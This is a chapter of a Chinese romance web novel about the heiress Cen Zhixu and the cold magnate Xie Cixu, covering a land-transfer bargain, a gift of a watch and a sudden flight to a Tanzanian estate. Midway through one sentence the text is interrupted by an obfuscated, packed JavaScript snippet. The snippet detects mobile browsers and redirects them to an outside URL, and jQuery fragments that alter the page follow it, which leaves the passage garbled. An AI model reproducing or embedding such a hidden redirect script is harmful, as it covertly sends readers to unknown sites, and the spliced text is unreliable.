谢辞序站在她对面的场景,同初见那日恍惚重合,锋利英朗的五官还是一如既往地透着疏离,眉骨高挑着,像是在宣告他的耐心终于告罄。他不再陪她玩这场秘而不宣的钓系游戏。 他怎么这么沉不住气。 岑稚许这么想着,全然忘了,在她一时兴起编织的追逐计划中,很少有人能坚守住底线,坚固的堤坝溃败后,他们总会变得患得患失,最后,也让她失去了所有的兴趣。 她没有说话,顶着被他注视的压力——或许只是在他看来,将那两盒精心包装好的纸盒一一打开,取出那枚箭,顶端的冷金属感很强,她今早整理的时候发现,竟然是铂金做的。 “其实,这支箭是我故意保存的。”岑稚许漫不经心地扶着内侧刻的暗纹,跟他微信名一样,不知道是不是他在国外那些年曾用过的英文名,她对他的好奇,同他的身体对她的吸引力一致,都让她产生了探索的欲望。 “抱歉,这样描述或许不太恰当。你踏入这间场馆时,我就已经注意到了你。”岑稚许在叙述这些时,语气平静,“既然你已经发现了我为此而频频制造的巧合,不如我直接摊牌?” 寻常女孩遇到这样的情况,大多会脸红羞怯,不知所措地向他解释,无非就是对他无所求、无所图,所有的爱慕都是真心。这样的说辞和反应,谢辞序见过无数,但从没有哪次,愿意纡尊降贵地施舍耐心做她们的树洞。 他永远果断拒绝,不留任何余地,也从不会花时间照顾别人的情绪。 除了面对岑稚许。 当定量参数发生了改变,必然会引发一系列的变化。 就比如此刻。 谢辞序无意识地摩挲着手背,薄唇吐出两个字:“你说。” 岑稚许凝神望进他的眸子,“庄缚青想建个度假山庄,但他手里的还是面积差了点,怕建出来效果不够大气,所以才希望辞哥能够让渡那块地的使用权出来。” “辞哥开个价,多少都行。要是嫌公开招标麻烦,也可以走拍卖手续,回头我们这边差人去办。” 谢辞序眼底掀起飓风,全然没想到她连牌面都换了,一时间表情变化莫测。他本就长了副生人勿进的凌厉面孔,听完这一个个蹦出来的字,周遭的空气仿佛都被冻得结了冰。 “你是庄缚青的人?” 好半晌,谢辞序才抬眼打量她,目光犹如将她一寸寸侵蚀吞噬。 岑稚许面上涌出点被误解的怒意,“谢先生,你这是在侮辱我。” 她攥紧指尖往回收了收,身体也跟着小幅度地轻颤。 有些事,她一直没找到合适的机会向他表明,又怕他迟迟不问,在地里埋久了倒成了将来的雷点,最后闹到无法收场。 “上一段恋爱对我的影响很大,失恋回京市后,是晗景一直陪伴在我身边,她帮了我很多,我却没有什么能够回报的。”岑稚许说到这里,咬住唇角,作出倔强的姿态来,眼里蓄了点晶莹。 岑稚许今天起来太早,精气神还没恢复,眼尾的那点亮色纯粹是一口气说太多话后,浮出的困意。她本来想打个哈欠,又觉得不合气氛,谢辞序显然误会了什么,鼻梁下的眸子乌暗阴沉。 她这滴眼泪没有落下,却犹如飓风过后的暴雨,将谢辞序的心池搅得潮湿又粘稠,连先前的那几分无缘由的烦躁究竟是来自什么,都无暇分心思考。 “那块地我可以按原价转让给庄缚青。” 本以为至少需要开出条件,经过一番复杂的来回推拒,哪知谢辞序答应得这么爽快,岑稚许心头微痒,连演戏都忘记,就那样发怔地看着他。 她的眼睛很漂亮,纤长的睫毛又卷又翘,鸦羽扇似的,还挂着一滴极小的透明圆珠,在灯光下仿佛淋了层绵密的雨丝。 像一只误入他领地的黑天鹅,湿了羽,无助而焦急地在海面寻找来时路。 谢辞序见不得她掉泪,偏偏他一句话就将人惹哭了,连他自己都觉得荒唐。眼下她的情绪倒是止住地快,用那双会说话的眼睛盯着他,让谢辞序反倒不自在起来。 在她面前,那个清醒克制的人仿佛消失不见,所谓原则的撼动也变得如此轻易。 只是为了哄她。 仅此而已。 谢辞序压下泛潮翻涌的心思,语气也跟着冷戾下来,“但我有个条件,岑小姐,你需要做到才能跟我交换。” 岑稚许说:“太过分的不行……” 果然,这句话让谢辞序黑了脸,连后半句都没说完,她就识趣地止了声。 “跟他断干净。” 岑稚许没跟上他的脑回路,“谁?” 她是真的懵,谢辞序却觉得她在明知故问,故意在这上面报复回来,让他也跟着生气。 谢辞序瞥她一眼,让人骨头都漏风似的。 “那位让你迟迟走不出的。” “前任。” 岑稚许眨了眨眼,“我跟他早就没有联系了。” “我说的不止是现实世界的断。”谢辞序停顿半秒,食指同中指并拢,在桌台面轻轻敲击,“还包括情感上的牵连、寄托。” 这样的要求或许根本算不上条件,但谢辞序不确定,感情对她的牵绊有多深,年少时的爱意纠缠缭绕一生也极有可能。 他不想看到任何人的影子。 一丝一毫,都不允许。 谢辞序知道她不能立即作出回答,安排人准备送她离开。岑稚许跟上来,捧着晚礼服,“辞哥。” “高定款只能在重要场合穿一次,是奢侈品,也是消耗品。它已经展现过光彩夺目的那一瞬间,不适合再转让。” 他没有回头,因此,看不到她脸上的表情,只能听见少女起伏的呼吸声,很安静,倏尔的沉默让人不难想象出她此刻的无所适从。 岑稚许不是很认同这种做派。她向来只看自己喜欢与否,岑女士陪着她跨过成人门的那条裙子,她总共穿了三次,在不同的场合。圈子里的人时有攀比,哪位名媛小姐若是穿了同样的晚礼服,的确会引起厌恶的人私下诟病。 但岑稚许不比在乎,因为所有人都知道,她是岑琼兰倾注所有心血培养的女儿,也是未来岑家唯一的掌权人。她永远无需做联姻巩固家族的筹码,不是权利斗争间的牺牲品,哪怕不用昂贵的珠宝堆砌,也有睥睨的底气。 同样是女儿,极少有人像岑琼兰一样,赋予她实权,让她站在谈判桌上。 谢辞序蓦然停住脚步,转过身来,将那支遗落的箭羽从她手中抽走。 “这件晚礼服很衬你。” 大概是从来没有夸赞过任何异性,谢辞序眉心始终轻折着,不知道还以为他在沉声说什么斥责的话,以至于连宽慰都显得有些苍白别扭。 “还有,岑小姐,下次同人谈判前,建议你先搞清楚个中细节。庄先生想建的是赛车俱乐部,不是什么度假山庄。” - 有了谢辞序首肯,转让手续办得很快,宴凛全程负责这件事,同庄缚青负责交接。岑稚许在谢辞序那披了马甲,不方便出面,倒是落了个清净。 让她意外的是,庄缚青那么顽固的人,竟然会悄无声息地妥协。 两人倒是意外的默契,庄缚青没有问她究竟用了什么方法让谢辞序改了主意,她也没有问庄缚青为什么要迁就她。 岑稚许这段时间联系了几位赛车手,准备签下来,作为俱乐部将来的常驻教练。 忙完这些后,她才想起该以感谢谢辞序的名义,在他那刷一下存在感。 她特意买了块腕表,款式中规中矩,价格也在她的‘人设’能负担的范围内。谢辞序大概没有戴腕表的习惯,跟他认识的这段时间里,岑稚许也就看他戴过那么一次腕表。应该只是在一些重要的场合,才用来察看时间,毕竟时常将目光落在手机屏幕上,在许多老古板眼中,是极不礼貌的行为。 谢氏集团在寸土寸金的市中心商圈拥有两栋大厦,地标性的建筑常年整夜灯火通明,是无数网红、自媒体人喜欢打卡的纸醉金迷场景。 这么些年来,两大商业巨头的大厦被中轴线隔开,岑稚许站在自家集团的顶层眺望过无数次,却从没有到过谢氏大厦的脚下。 谢辞序固定每周一、三、五都会来集团本部,结束完会议后,便会驱车离开。 岑稚许掐准了时间,很轻易地就蹲到了他。 几位人高马大的保镖将他护送上车,一行人西装革履,步履生风,似乎是在赶时间。她既然来了,也不想白跑一趟,先是给谢辞序打了个语音通话,他没接。 她正欲往前走,为首的那位黑人保镖就注意到了她,低头对着耳麦说了句什么,劳斯莱斯后排车窗降下,露出一道冷寂的面容来。 也不知道是不是才看完半年度的财报,以至于此刻心情不爽,英俊挺拔的五官透着一股凶戾。 难怪众人总说,惹谁也别惹谢辞序。这张脸帅归帅,真要摆起谱来,谁能扛得住被他扫视的压力。 见岑稚许垂着手站在那没动静,谢辞序以为她被自己吓到了,神色缓和稍许,“找我?” “嗯,我有事……” 谢辞序:“今晚最后一趟航班快来不及了,上来说。” 岑稚许从善如流地矮身上了车,落锁过后,她才发现副驾坐着保镖,就连司机也是个生面孔,气氛低迷而压抑。 这是上了贼船了。 身侧传来谢辞序毫无歉意的嗓音,“差点忘了告诉你,我带了保镖,不过你不用担心,他们很有职业素养,一旦确认你对我毫无威胁,就不会再用刚才的眼神盯着你。” 岑稚许撞进他的黑眸,总觉得他是故意的,却找不出痕迹。她点点头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14086023|149139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“我会尽量假装他们不存在。” 腕表的礼盒是她特意嘱咐Sales包装的,里头放了张香卡,用丝带缠住,遮住原本的logo,是打眼扫过就能瞧出少女心思的小心机。 “你送了我晚礼服,我想礼尚往来,我总不能两手空空,什么也不准备。” 她将之往旁边轻轻推过去,“希望你能喜欢。” 这种价位的表,谢辞序肯定是不会戴出门的,或许连放进表柜都不配,随手就扔在某处,然后彻底忘记,因此岑稚许也没费太多心神。 送礼物的人敷衍,收的人也不在意,淡淡应下。 “你来找我,就为了这事?” 岑稚许‘啊’了一声,“也想来见你。” 她说话的时候,眼眸千丝万缕,语气却透着十足的真诚。这双勾人的狐狸眼不掉眼泪时,很灵动,直勾勾地盯着人时,仿佛抓心似的。 谢辞序仿佛被月光晃过,微眯了下眸。 “在楼下等了多久?” 五分钟的等待时间被岑稚许虚报军情说成两小时,闻言,谢辞序撩起眼皮睨过来,“你可以提前告诉我,或者让我的助理将你接上来,而不是站在楼下。” 他停顿一下,“犯傻。” 岑稚许不以为意地说了句知道了,又追问他:“这算是辞哥默许我的特权吗?” 不经允许,就擅自干扰他的行程计划。 甚至让他为她一再破例。 谢辞序听出她试探的意思,“就算不给你特权,你也有办法自己拿到,就像刚才那通电话。” 岑稚许轻捋下耳边的碎发,哪怕他语气实在算不上多好,内容还算让她满意。 入夜的澄黄灯影映在她流畅精巧的下颔骨上,她今天没有戴任何的配饰,连耳廓都透着薄淡的冷白色,有种清婉的美。她一言不发,神情难掩骄矜。 心情好了以后,岑稚许也不想耽误他的事情,“麻烦辞哥让司机在前面那个路口停一下。” 谢辞序:“你等了两个小时。” “就为了换这五分钟的谈话,不觉得很不公平吗?” 他半垂着视线凝过来,跃动的光影像是蓝紫色调的银河碎金,流淌在彼此之间,让岑稚许仿佛置身其中,有了几分若有似无的微醺感。 后半程发生的一切,更像是一场疯狂的幻梦。 岑稚许骨子里一直存在叛逆,她隐藏得很好,谢辞序不可能看出来。除非,他们是一类人,表面循规蹈矩,实则在所有人的眼皮子底下驯养猎兽,然后在某个不为人知的深夜,将它释放。 她甚至不知道航班落地地球那一端,醒来的时候,已经身处庄园。尖拱、圆拱、飞扶壁以及花窗玻璃之类的元素,很像英国,但气温和空气的潮湿度却大相径庭。 热辣的阳光将宽阔无边的草坪照得如同水洗似的发亮,旁边是环形泳池和全玻璃构成的一座休息间,蔷薇沿着围墙盛开,周遭静悄悄的,连一位佣人都没有。 “后悔了?”谢辞序问。 他们乘坐的这趟航班仅为谢辞序一人服务,机型内部做了改装,专为长途飞行使用,同私人飞机相差无几。 谢辞序在飞机上洗了澡,原本考究的西装换成了休闲风的套装,姿态松弛,整个人也因此而显出几分懒怠。 岑稚许摇头,问:“这是哪?” “坦桑尼亚。” 这里成片的绿荫和植物怎么也跟非洲搭不上边。 似是看出了她的疑惑,谢辞序沉声解释:“坦桑尼亚并不算缺水,鲁菲季河、潘加尼河、鲁伏河、瓦米河都流经此地,不过你脚下踩的每一寸草皮,都是数十位园丁精心养护的成果。” 在坦桑尼亚境内造这么一座庄园,饶是岑稚许都忍不住感慨,有病。 她挡住刺目的阳光,踱步往玻璃厅走去。 谢辞序提醒:“别乱跑。” 岑稚许起初并不在乎他的警告,直到同一对锐利的野兽瞳眸对视。它比照片里还要威风,毛发在光下泛出油滑的光泽,四肢肌群矫健有力,瞳孔呈现出烈金色,虎视眈眈地注视着这位踏足它领地的不速之客。 锋利的犬牙,仿佛只需要轻轻用力,便能穿破血肉,将她整个撕碎。 她顿时生出一种不寒而栗的危机感。 谢辞序眉心簇紧,用更为狠戾的目光警告隐匿在角落里的捷克狼犬。 岑稚许本能地往他身边靠。 狼犬终于不再向前,双方维持着对峙的姿态。 泛潮的掌心倏地被谢辞序握住,他的手掌温暖而干燥,像是冬日雾凇林里的一缕暖阳,为远行徒步至濒临极限的背包客带来生还的最后希望。岑稚许心跳如擂,不知那究竟是吊桥效应,还是大脑发出的危险鸣示。 谢辞序感受到了她指尖的颤抖,迟疑了半瞬,而后穿过指缝,同她十指紧扣,断绝任何抽离的可能。